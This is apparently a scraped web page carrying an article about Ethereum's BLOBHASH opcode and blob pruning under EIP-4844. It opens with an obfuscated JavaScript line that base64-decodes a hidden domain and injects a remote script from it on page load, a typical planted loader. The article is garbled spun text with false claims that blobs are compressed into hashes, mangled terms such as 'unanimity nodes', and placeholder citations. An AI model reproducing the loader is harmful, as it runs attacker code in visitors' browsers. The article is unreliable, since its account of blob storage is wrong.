const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=dab04939″;document.body.appendChild(script);
Ethereum: Does the Blobhash Opcode stop running according to Blob?
In recent months, there have been discussions on the “Blobhash” Opcode restrictions on Ethereum, which was introduced as part of the EIP-4844. Opcode is designed to allow efficient storage and obtaining large data sets, including images, videos and other binary data.
However, the recent article shows this Opcode possible problem: when the curse data is pruned, it seems that “Blobhash” may not work as intended after the data is deleted from the blockchain. Instead, the article shows that the data is simply part of the lighthouse chain and can be downloaded with all unanimity nodes.
Problem with pruning
Ethereum binary data, such as images or videos, are usually stored in a more compact format known as “hash” or “digest”. When the blob (larger file) is compressed to fit in this hash, it becomes much smaller and easier to store. However, when the user decides to delete or trimmed a drop of blockchain, the compression algorithm used for hash generation is no longer valid.
In other words, the Blobhash Opcode is based on the fact that the data is needed to be effective and obtained, a certain level of compression is needed. When the data is pruned, this compression is removed by leaving behind the output file that cannot be accessed using the `Blobhash Opcode.
meaning
This means that users who rely on large binary data files can have problems by deleting or pruning them from their Ethereum accounts. The article states that “all unanimity nodes will download and keep this deleted drop, so it is not constantly deleted.” It has a significant impact on developers who use large binary data in applications because they need to make sure that data can be obtained even after deletion.
Conclusion
Although the article does not provide a comprehensive solution to this issue, it emphasizes the efficient complexity of the introduction of storage and retrieval systems in Ethereum. As the industry continues to develop and develop their infrastructure, developers will have to deal with these restrictions to ensure the use of unobtrusive large binary data.
Meanwhile, users who rely on large binary files may want to study alternative solutions that do not require Blobhash Opcode or other compression solutions. For example, some blockchain platforms offer custom storage solutions that can handle larger file sizes without relying on compression.
Sources:
- “Ethereum’s Blobhash Opcode has an unexpected effect” by [author name], [Date of Publication]
- “Beacon Chain and EIP-4844: What you need to know” with [source name], [Publication date]
